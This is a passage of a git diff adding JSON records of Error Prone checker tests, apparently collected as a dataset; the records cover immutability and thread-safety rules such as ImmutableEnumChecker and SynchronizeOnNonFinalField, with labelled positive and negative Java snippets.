"lambda_immutableTypeParam", + "expected-problems": null, + "expected-linenumbers": [ + 3912 + ], + "code": "import com.google.errorprone.annotations.ImmutableTypeParameter;\n import java.util.ArrayList;\n\n abstract class Test {\n interface ImmutableProvider<@ImmutableTypeParameter T> {\n T get();\n }\n\n void test(ImmutableProvider f) {\n // BUG: Diagnostic contains:\n test(() -> new ArrayList<>());\n }\n }" + }, + { + "description": "chainedGettersAreAcceptable", + "expected-problems": null, + "expected-linenumbers": [ + 3935 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n final Test t = null;\n final List xs = new ArrayList<>();\n\n final List getXs() {\n return xs;\n }\n\n @Immutable\n interface ImmutableFunction {\n String apply(String b);\n }\n\n void test(ImmutableFunction f) {\n test(\n x -> {\n Test t = new Test();\n return t.xs.get(0) + t.getXs().get(0) + t.t.t.xs.get(0);\n });\n }\n }" + }, + { + "description": "anonymousClass_cannotCloseAroundMutableLocal", + "expected-problems": null, + "expected-linenumbers": [ + 3970 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n import java.util.List;\n import java.util.ArrayList;\n\n class Test {\n @Immutable\n interface ImmutableFunction {\n A apply(B b);\n }\n\n void test(ImmutableFunction f) {\n List xs = new ArrayList<>();\n test(\n // BUG: Diagnostic contains:\n new ImmutableFunction<>() {\n @Override\n public Integer apply(Integer x) {\n return xs.get(x);\n }\n });\n }\n }" + }, + { + "description": "anonymousClass_hasMutableFieldSuppressed_noWarningAtUsageSite", + "expected-problems": null, + "expected-linenumbers": [ + 4002 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n import java.util.List;\n import java.util.ArrayList;\n\n class Test {\n @Immutable\n interface ImmutableFunction {\n A apply(B b);\n }\n\n void test(ImmutableFunction f) {\n test(\n new ImmutableFunction<>() {\n @Override\n public Integer apply(Integer x) {\n return xs.get(x);\n }\n\n @SuppressWarnings(\"Immutable\")\n List xs = new ArrayList<>();\n });\n }\n }" + }, + { + "description": "anonymousClass_canCallSuperMethodOnNonImmutableSuperClass", + "expected-problems": null, + "expected-linenumbers": [ + 4035 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n import java.util.List;\n import java.util.ArrayList;\n\n class Test {\n interface Function {\n default void foo() {}\n }\n\n @Immutable\n interface ImmutableFunction extends Function {\n A apply(B b);\n }\n\n void test(ImmutableFunction f) {\n test(\n new ImmutableFunction<>() {\n @Override\n public Integer apply(Integer x) {\n foo();\n return 0;\n }\n });\n }\n }" + }, + { + "description": "switchExpressionsResultingInGenericTypes_doesNotThrow", + "expected-problems": null, + "expected-linenumbers": [ + 4070 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n enum Kind {\n A,\n B;\n }\n \n\n import java.util.Optional;\n import java.util.function.Supplier;\n\n class Test {\n Supplier> test(Kind kind) {\n return switch (kind) {\n case A -> Optional::empty;\n case B -> () -> Optional.of(\"\");\n };\n }\n }" + }, + { + "description": "switchExpressionsYieldStatement_doesNotThrow", + "expected-problems": null, + "expected-linenumbers": [ + 4102 + ], + "code": "import java.util.function.Supplier;\n\n class Test {\n String test(String mode) {\n return switch (mode) {\n case \"random\" -> {\n yield \"foo\";\n }\n default -> throw new IllegalArgumentException();\n };\n }\n }" + }, + { + "description": "switchExpressionsMethodReference_doesNotThrow", + "expected-problems": null, + "expected-linenumbers": [ + 4124 + ], + "code": "import java.util.function.Supplier;\n\n class Test {\n Supplier test(String mode) {\n return switch (mode) {\n case \"random\" -> Math::random;\n default -> throw new IllegalArgumentException();\n };\n }\n }" + }, + { + "description": "switchExpressionsYieldStatementMethodReference_doesNotThrow", + "expected-problems": null, + "expected-linenumbers": [ + 4144 + ], + "code": "import java.util.function.Supplier;\n\n class Test {\n Supplier test(String mode) {\n return switch (mode) {\n case \"random\" -> {\n yield Math::random;\n }\n default -> throw new IllegalArgumentException();\n };\n }\n }" + }, + { + "description": "enumBound", + "expected-problems": null, + "expected-linenumbers": [ + 4166 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test> {\n private final E e;\n\n Test(E e) {\n this.e = e;\n }\n }" + }, + { + "description": "mutableRecord", + "expected-problems": null, + "expected-linenumbers": [ + 4186 + ], + "code": "import java.util.List;\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n // BUG: Diagnostic contains: 'R' has field 'xs'\n record R(List xs) {}" + }, + { + "description": "immutableRecord", + "expected-problems": null, + "expected-linenumbers": [ + 4202 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n record R(ImmutableList xs) {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/ImmutableEnumChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/ImmutableEnumChecker.json new file mode 100644 index 0000000..3065756 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/ImmutableEnumChecker.json @@ -0,0 +1,102 @@ +{ + "name": "ImmutableEnumChecker", + "language": "java", + "description": "Enums should always be immutable", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 103, + "branches": 7, + "apis": 3, + "test": [ + { + "description": "nonFinalField", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "enum Enum {\n ONE(1),\n TWO(2);\n // BUG: Diagnostic contains: final int x;'\n int x;\n\n private Enum(int x) {\n this.x = x;\n }\n }" + }, + { + "description": "immutableEnum", + "expected-problems": null, + "expected-linenumbers": [ + 51 + ], + "code": "import com.google.common.collect.ImmutableSet;\n\n enum Enum {\n ONE(1),\n TWO(2);\n final ImmutableSet xs;\n\n private Enum(Integer... xs) {\n this.xs = ImmutableSet.copyOf(xs);\n }\n }" + }, + { + "description": "finalMutableField", + "expected-problems": null, + "expected-linenumbers": [ + 72 + ], + "code": "import java.util.Arrays;\nimport java.util.HashSet;\nimport java.util.Set;\n\nenum Enum {\n ONE(1),\n TWO(2);\n // BUG: Diagnostic contains: enums should be immutable: 'Enum' has field 'xs' of type\n // 'java.util.Set', 'Set' is mutable\n final Set xs;\n\n private Enum(Integer... xs) {\n this.xs = new HashSet<>(Arrays.asList(xs));\n }\n}" + }, + { + "description": "annotatedEnum", + "expected-problems": null, + "expected-linenumbers": [ + 97 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n // BUG: Diagnostic contains: enums are immutable by default\n @Immutable\n enum Enum {\n ONE,\n TWO\n }" + }, + { + "description": "annotatedEnumThatImplementsImmutableInterface", + "expected-problems": null, + "expected-linenumbers": [ + 115 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n interface MyInterface {}\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n enum Enum implements MyInterface {\n ONE,\n TWO\n }" + }, + { + "description": "annotatedEnumThatImplementsImmutableInterfaceWithOverrides", + "expected-problems": null, + "expected-linenumbers": [ + 140 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n interface MyInterface {\n void bar();\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n enum Enum implements MyInterface {\n ONE {\n public void bar() {}\n },\n TWO {\n public void bar() {}\n }\n }" + }, + { + "description": "mutableFieldType", + "expected-problems": null, + "expected-linenumbers": [ + 171 + ], + "code": "class Foo {}\n \n\n import java.util.Arrays;\n import java.util.HashSet;\n import java.util.Set;\n\n enum Enum {\n ONE(new Foo()),\n TWO(new Foo());\n // BUG: Diagnostic contains: the declaration of type 'Foo' is not annotated with\n // @com.google.errorprone.annotations.Immutable\n final Foo f;\n\n private Enum(Foo f) {\n this.f = f;\n }\n }" + }, + { + "description": "suppressOnEnumField", + "expected-problems": null, + "expected-linenumbers": [ + 201 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n enum Test {\n ONE;\n\n @SuppressWarnings(\"Immutable\")\n final int[] xs = {1};\n }" + }, + { + "description": "enumInstanceSuperMutable", + "expected-problems": null, + "expected-linenumbers": [ + 219 + ], + "code": "enum Test {\n ONE {\n int incr() {\n return x++;\n }\n };\n\n abstract int incr();\n\n // BUG: Diagnostic contains: non-final\n int x;\n }" + }, + { + "description": "enumInstanceMutable", + "expected-problems": null, + "expected-linenumbers": [ + 241 + ], + "code": "enum Test {\n ONE {\n // BUG: Diagnostic contains: non-final\n int x;\n\n int incr() {\n return x++;\n }\n };\n\n abstract int incr();\n }" + }, + { + "description": "jucImmutable", + "expected-problems": null, + "expected-linenumbers": [ + 263 + ], + "code": "import javax.annotation.concurrent.Immutable;\n\n @Immutable\n class Lib {}\n \n\nenum Test {\n ONE;\n // BUG: Diagnostic contains: not annotated with @com.google.errorprone.annotations.Immutable\n final Lib l = new Lib();\n}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/ImmutableRefactoring.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/ImmutableRefactoring.json new file mode 100644 index 0000000..95f00ac --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/ImmutableRefactoring.json @@ -0,0 +1,46 @@ +{ + "name": "ImmutableRefactoring", + "language": "java", + "description": "Refactors uses of the JSR 305 @Immutable to Error Prone's annotation", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 102, + "branches": 6, + "apis": 3, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "import javax.annotation.concurrent.Immutable;\n\n @Immutable\n class Test {\n final int a = 42;\n final String b = null;\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n final int a = 42;\n final String b = null;\n }" + }, + { + "description": "someImmutableSomeNot", + "expected-problems": null, + "expected-linenumbers": [ + 60 + ], + "code": "import javax.annotation.concurrent.Immutable;\n\n @Immutable\n class Test {\n int a = 42;\n\n @Immutable\n static class Inner {\n final int a = 43;\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 94 + ], + "code": "import javax.annotation.concurrent.Immutable;\n\n @Immutable\n class Test {\n int a = 42;\n }" + }, + { + "description": "negative_multipleClasses", + "expected-problems": null, + "expected-linenumbers": [ + 119 + ], + "code": "import javax.annotation.concurrent.Immutable;\n\n @Immutable\n class Test {\n int a = 42;\n\n @Immutable\n static class Inner {\n int a = 43;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/StaticGuardedByInstance.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/StaticGuardedByInstance.json new file mode 100644 index 0000000..d31af4e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/StaticGuardedByInstance.json @@ -0,0 +1,62 @@ +{ + "name": "StaticGuardedByInstance", + "language": "java", + "description": "Writes to static fields should not be guarded by instance locks", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 112, + "branches": 9, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class Test {\n final Object lock = new Object();\n static boolean init = false;\n\n void m() {\n synchronized (lock) {\n // BUG: Diagnostic contains:\n // static variable should not be guarded by instance lock 'lock'\n init = true;\n }\n }\n }" + }, + { + "description": "positive_twoWrites", + "expected-problems": null, + "expected-linenumbers": [ + 53 + ], + "code": "class Test {\n final Object lock = new Object();\n static int x = 0;\n\n void m() {\n synchronized (lock) {\n // BUG: Diagnostic contains:\n // static variable should not be guarded by instance lock 'lock'\n x++;\n // BUG: Diagnostic contains:\n // static variable should not be guarded by instance lock 'lock'\n x++;\n }\n }\n }" + }, + { + "description": "negative_staticLock", + "expected-problems": null, + "expected-linenumbers": [ + 78 + ], + "code": "class Test {\n static final Object lock = new Object();\n static boolean init = false;\n\n void m() {\n synchronized (lock) {\n init = true;\n }\n }\n }" + }, + { + "description": "negative_instanceVar", + "expected-problems": null, + "expected-linenumbers": [ + 98 + ], + "code": "class Test {\n final Object lock = new Object();\n boolean init = false;\n\n void m() {\n synchronized (lock) {\n init = true;\n }\n }\n }" + }, + { + "description": "negative_method", + "expected-problems": null, + "expected-linenumbers": [ + 118 + ], + "code": "class Test {\n static boolean init = false;\n\n void m() {\n synchronized (getClass()) {\n init = true;\n }\n }\n }" + }, + { + "description": "negative_nested", + "expected-problems": null, + "expected-linenumbers": [ + 137 + ], + "code": "class Test {\n final Object lock = new Object();\n static boolean init = false;\n\n void m() {\n synchronized (lock) {\n synchronized (Test.class) {\n init = true;\n }\n new Test() {\n {\n init = true;\n }\n };\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/SynchronizeOnNonFinalField.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/SynchronizeOnNonFinalField.json new file mode 100644 index 0000000..fa13ace --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/SynchronizeOnNonFinalField.json @@ -0,0 +1,62 @@ +{ + "name": "SynchronizeOnNonFinalField", + "language": "java", + "description": "Synchronizing on non-final fields is not safe: if the field is ever updated, different threads may end up locking on different objects.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 64, + "branches": 8, + "apis": 2, + "test": [ + { + "description": "positive1", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "package threadsafety.Test;\n\n class Test {\n Object lock = new Object();\n\n void m() {\n // BUG: Diagnostic contains: Synchronizing on non-final fields is not safe\n synchronized (lock) {\n }\n }\n }" + }, + { + "description": "positive2", + "expected-problems": null, + "expected-linenumbers": [ + 51 + ], + "code": "package threadsafety.Test;\n\n class Test {\n Object lock = new Object();\n Test[] tx = null;\n\n void m(int i) {\n // BUG: Diagnostic contains: Synchronizing on non-final fields is not safe\n synchronized (this.tx[i].lock) {\n }\n }\n }" + }, + { + "description": "positive3", + "expected-problems": null, + "expected-linenumbers": [ + 73 + ], + "code": "package threadsafety.Test;\n\n class Test {\n Object lock = new Object();\n\n void m(Test t) {\n // BUG: Diagnostic contains: Synchronizing on non-final fields is not safe\n synchronized (t.lock) {\n }\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 94 + ], + "code": "package threadsafety.Test;\n\n class Test {\n final Object lock = new Object();\n\n void m() {\n synchronized (lock) {\n }\n }\n }" + }, + { + "description": "negative_lazyInit", + "expected-problems": null, + "expected-linenumbers": [ + 114 + ], + "code": "package threadsafety.Test;\n\n import com.google.errorprone.annotations.concurrent.LazyInit;\n\n class Test {\n @LazyInit transient Object lock = new Object();\n\n void m() {\n synchronized (lock) {\n }\n }\n }" + }, + { + "description": "negative_writer", + "expected-problems": null, + "expected-linenumbers": [ + 136 + ], + "code": "import java.io.Writer;\n\n abstract class Test extends Writer {\n void m() {\n synchronized (lock) {\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/ThreadPriorityCheck.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/ThreadPriorityCheck.json new file mode 100644 index 0000000..c6a5051 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/ThreadPriorityCheck.json @@ -0,0 +1,38 @@ +{ + "name": "ThreadPriorityCheck", + "language": "java", + "description": "Relying on the thread scheduler is discouraged.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 48, + "branches": 1, + "apis": 1, + "test": [ + { + "description": "yieldThread", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "class Test {\n public void foo() {\n Thread myThread =\n new Thread(\n new Runnable() {\n @Override\n public void run() {\n System.out.println(\"Run, thread, run!\");\n }\n });\n myThread.start();\n // BUG: Diagnostic contains: ThreadPriorityCheck\n Thread.yield();\n }\n }" + }, + { + "description": "setPriority", + "expected-problems": null, + "expected-linenumbers": [ + 61 + ], + "code": "class Test {\n public void foo() {\n Thread thread =\n new Thread(\n new Runnable() {\n @Override\n public void run() {\n System.out.println(\"Run, thread, run!\");\n }\n });\n thread.start();\n // BUG: Diagnostic contains: ThreadPriorityCheck\n thread.setPriority(Thread.MAX_PRIORITY);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 86 + ], + "code": "class Test {\n public void foo() {\n Thread thread =\n new Thread(\n new Runnable() {\n @Override\n public void run() {\n System.out.println(\"Run, thread, run!\");\n }\n });\n thread.start();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/ThreadSafeChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/ThreadSafeChecker.json new file mode 100644 index 0000000..70a9a76 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/ThreadSafeChecker.json @@ -0,0 +1,550 @@ +{ + "name": "ThreadSafeChecker", + "language": "java", + "description": "Type declaration annotated with @ThreadSafe is not thread safe", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 252, + "branches": 35, + "apis": 8, + "test": [ + { + "description": "basicFields", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.errorprone.annotations.ThreadSafe;\n import java.util.concurrent.ConcurrentMap;\n import java.util.concurrent.atomic.AtomicLong;\n\n @ThreadSafe\n class Test {\n final int a = 42;\n final String b = null;\n final java.lang.String c = null;\n final com.google.common.collect.ImmutableList d = null;\n final ImmutableList e = null;\n final Deprecated dep = null;\n final Class clazz = Class.class;\n final ConcurrentMap concurrentMap = null;\n }" + }, + { + "description": "interfacesMutableByDefault", + "expected-problems": null, + "expected-linenumbers": [ + 75 + ], + "code": "" + }, + { + "description": "refactoringWithNameClash", + "expected-problems": null, + "expected-linenumbers": [ + 90 + ], + "code": "@com.google.errorprone.annotations.ThreadSafe\n interface I {}\n \n\n class ThreadSafe implements I {}\n \n\n @com.google.errorprone.annotations.ThreadSafe\n class ThreadSafe implements I {}" + }, + { + "description": "annotationsCanBeAnnotatedWithThreadSafe", + "expected-problems": null, + "expected-linenumbers": [ + 114 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n @interface Test {}" + }, + { + "description": "customAnnotationsMightBeMutable", + "expected-problems": null, + "expected-linenumbers": [ + 128 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n @interface Test {}\n \n\n import com.google.errorprone.annotations.ThreadSafe;\n import java.lang.annotation.Annotation;\n\n @ThreadSafe\n final class MyTest implements Test {\n // BUG: Diagnostic contains: should be final or annotated\n public Object[] xs = {};\n\n public Class annotationType() {\n return null;\n }\n }" + }, + { + "description": "customAnnotationsSubtype", + "expected-problems": null, + "expected-linenumbers": [ + 158 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n @interface Test {}\n \n\n import java.lang.annotation.Annotation;\n\n // BUG: Diagnostic contains:\n // extends @ThreadSafe type Test, but is not annotated as threadsafe\n final class MyTest implements Test {\n public Object[] xs = {};\n\n public Class annotationType() {\n return null;\n }\n }" + }, + { + "description": "annotationsDefaultToImmutable", + "expected-problems": null, + "expected-linenumbers": [ + 187 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n import javax.lang.model.element.ElementKind;\n\n @ThreadSafe\n class Test {\n private final Override override = null;\n }" + }, + { + "description": "enumsDefaultToImmutable", + "expected-problems": null, + "expected-linenumbers": [ + 204 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n import javax.lang.model.element.ElementKind;\n\n @ThreadSafe\n class Test {\n private final ElementKind ek = null;\n }" + }, + { + "description": "enumsMayBeImmutable", + "expected-problems": null, + "expected-linenumbers": [ + 221 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n enum Kind {\n A,\n B,\n C;\n }\n \n\n import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n class Test {\n private final Kind k = null;\n }" + }, + { + "description": "mutableArray", + "expected-problems": null, + "expected-linenumbers": [ + 249 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n class Test {\n // BUG: Diagnostic contains:\n final int[] xs = {42};\n }" + }, + { + "description": "immutableAnnotatedNotTested", + "expected-problems": null, + "expected-linenumbers": [ + 266 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n final int[] xs = {42};\n }" + }, + { + "description": "immutableAnnotatedNotTested_inheritance", + "expected-problems": null, + "expected-linenumbers": [ + 282 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n interface Test {}\n \n\n final class MyTest implements Test {\n public Object[] xs = {};\n }" + }, + { + "description": "annotatedThreadSafeInterfaces", + "expected-problems": null, + "expected-linenumbers": [ + 303 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n interface Test {}" + }, + { + "description": "threadSafeInterfaceField", + "expected-problems": null, + "expected-linenumbers": [ + 317 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n interface MyInterface {}\n \n\n import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n class Test {\n final MyInterface i = null;\n }" + }, + { + "description": "immutableInterfaceField", + "expected-problems": null, + "expected-linenumbers": [ + 341 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n interface MyInterface {}\n \n\n import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n class Test {\n final MyInterface i = null;\n }" + }, + { + "description": "deeplyImmutableArguments", + "expected-problems": null, + "expected-linenumbers": [ + 365 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n class Test {\n final ImmutableList>> l = null;\n }" + }, + { + "description": "deeplyThreadsafeArguments", + "expected-problems": null, + "expected-linenumbers": [ + 382 + ], + "code": "import com.google.common.collect.ImmutableList;\nimport com.google.errorprone.annotations.ThreadSafe;\nimport java.util.concurrent.ConcurrentMap;\nimport java.util.concurrent.atomic.AtomicInteger;\n\n@ThreadSafe\nclass Test {\n final ConcurrentMap>> l = null;\n}" + }, + { + "description": "mutableNonFinalField", + "expected-problems": null, + "expected-linenumbers": [ + 401 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n class Test {\n // BUG: Diagnostic contains: should be final or annotated\n int a = 42;\n }" + }, + { + "description": "mutableStaticFields", + "expected-problems": null, + "expected-linenumbers": [ + 418 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n import java.util.List;\n import java.util.Map;\n\n @ThreadSafe\n class Test {\n static int a = 42;\n static final Map> b = null;\n }" + }, + { + "description": "mutableFieldGuardedByErrorProneAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 437 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n import java.util.List;\n import java.util.Map;\n\n @ThreadSafe\n class Test {\n @GuardedBy(\"this\")\n int a = 42;\n\n @GuardedBy(\"this\")\n final Map> b = null;\n\n @GuardedBy(\"this\")\n volatile int c = 42;\n }" + }, + { + "description": "mutableFieldNotGuarded", + "expected-problems": null, + "expected-linenumbers": [ + 463 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n import javax.annotation.concurrent.GuardedBy;\n\n @ThreadSafe\n class Test {\n // BUG: Diagnostic contains: @GuardedBy\n volatile int a = 42;\n }" + }, + { + "description": "mutableField", + "expected-problems": null, + "expected-linenumbers": [ + 481 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n import java.util.Map;\n\n @ThreadSafe\n class Test {\n // BUG: Diagnostic contains:\n final Map a = null;\n }" + }, + { + "description": "deeplyMutableTypeArguments", + "expected-problems": null, + "expected-linenumbers": [ + 499 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.errorprone.annotations.ThreadSafe;\n import java.util.Map;\n\n @ThreadSafe\n class Test {\n // BUG: Diagnostic contains: instantiated with non-thread-safe type for 'E'\n final ImmutableList>>> l = null;\n }" + }, + { + "description": "rawImpliesImmutable", + "expected-problems": null, + "expected-linenumbers": [ + 518 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n class Test {\n // BUG: Diagnostic contains: was raw\n final ImmutableList l = null;\n }" + }, + { + "description": "extendsThreadSafe", + "expected-problems": null, + "expected-linenumbers": [ + 536 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n public class Super {\n public final int x = 42;\n }\n \n\n import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n class Test extends Super {}" + }, + { + "description": "extendsThreadSafe_annotatedWithImmutable", + "expected-problems": null, + "expected-linenumbers": [ + 560 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n public class Super {\n public final int x = 42;\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test extends Super {}" + }, + { + "description": "extendsMutable", + "expected-problems": null, + "expected-linenumbers": [ + 584 + ], + "code": "public class Super {\n public int x = 42;\n }\n \n\n import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n // BUG: Diagnostic contains: 'Super' has non-final field 'x'\n class Test extends Super {}" + }, + { + "description": "mutableTypeArgumentInstantiation", + "expected-problems": null, + "expected-linenumbers": [ + 606 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n\n public class Holder {\n public final T t = null;\n }\n \n\n import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n class Test {\n // BUG: Diagnostic contains:\n final Holder h = null;\n }" + }, + { + "description": "instantiationWithMutableType", + "expected-problems": null, + "expected-linenumbers": [ + 632 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n\n public class Holder {\n public final T t = null;\n }\n \n\n import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n class Test {\n // BUG: Diagnostic contains: not annotated\n final Holder h = null;\n }" + }, + { + "description": "missingContainerOf", + "expected-problems": null, + "expected-linenumbers": [ + 658 + ], + "code": "import com.google.errorprone.annotations.ThreadSafe;\n import java.util.List;\n\n @ThreadSafe\n class Test {\n // BUG: Diagnostic contains: 'T' is a non-thread-safe type variable\n private final T t = null;\n }" + }, + { + "description": "mutableInstantiation", + "expected-problems": null, + "expected-linenumbers": [ + 676 + ], + "code": "import com.google.common.collect.ImmutableList;\n\n public class X {\n final ImmutableList xs = null;\n }\n \n\n import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n class Test {\n // BUG: Diagnostic contains:\n final X x = null;\n }" + }, + { + "description": "immutableInstantiation_superBound", + "expected-problems": null, + "expected-linenumbers": [ + 702 + ], + "code": "import com.google.common.collect.ImmutableList;\n\n public class X {\n final ImmutableList xs = null;\n }\n \n\n import com.google.errorprone.annotations.ThreadSafe;\n import java.util.List;\n\n @ThreadSafe\n class Test {\n // BUG: Diagnostic contains:\n final X x = null;\n }" + }, + { + "description": "mutableInstantiation_superBound", + "expected-problems": null, + "expected-linenumbers": [ + 729 + ], + "code": "import com.google.common.collect.ImmutableList;\n\n public class X {\n final ImmutableList xs = null;\n }\n \n\n import com.google.errorprone.annotations.ThreadSafe;\n import java.util.List;\n\n @ThreadSafe\n class Test {\n // BUG: Diagnostic contains: is not annotated\n final X x = null;\n }" + }, + { + "description": "mutableInstantiation_inferredImmutableType", + "expected-problems": null, + "expected-linenumbers": [ + 756 + ], + "code": "public class X {\n final T xs = null;\n }\n \n\n public class Y {\n final X xs = null;\n }\n \n\n import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n class Test {\n // BUG: Diagnostic contains:\n final Y x = null;\n }" + }, + { + "description": "testImmutableListImplementation", + "expected-problems": null, + "expected-linenumbers": [ + 787 + ], + "code": "package com.google.common.collect;\n\n import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n class ImmutableList {\n public Object[] veryMutable = null;\n }" + }, + { + "description": "positiveAnonymous", + "expected-problems": null, + "expected-linenumbers": [ + 805 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n class Super {}\n \n\n package threadsafety;\n\n import com.google.errorprone.annotations.ThreadSafe;\n\n class Test {\n {\n new Super() {\n // BUG: Diagnostic contains: should be final or annotated\n int x = 0;\n\n {\n x++;\n }\n };\n }\n }" + }, + { + "description": "positiveAnonymousInterface", + "expected-problems": null, + "expected-linenumbers": [ + 841 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n interface Super {}\n \n\n package threadsafety;\n\n import com.google.errorprone.annotations.ThreadSafe;\n\n class Test {\n {\n new Super() {\n // BUG: Diagnostic contains: should be final or annotated\n int x = 0;\n\n {\n x++;\n }\n };\n }\n }" + }, + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 879 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.ThreadSafe;\n\n @ThreadSafe\n class Super {}\n \n\n package threadsafety;\n\n class Test extends Super {\n // BUG: Diagnostic contains: should be final or annotated\n public int x = 0;\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 905 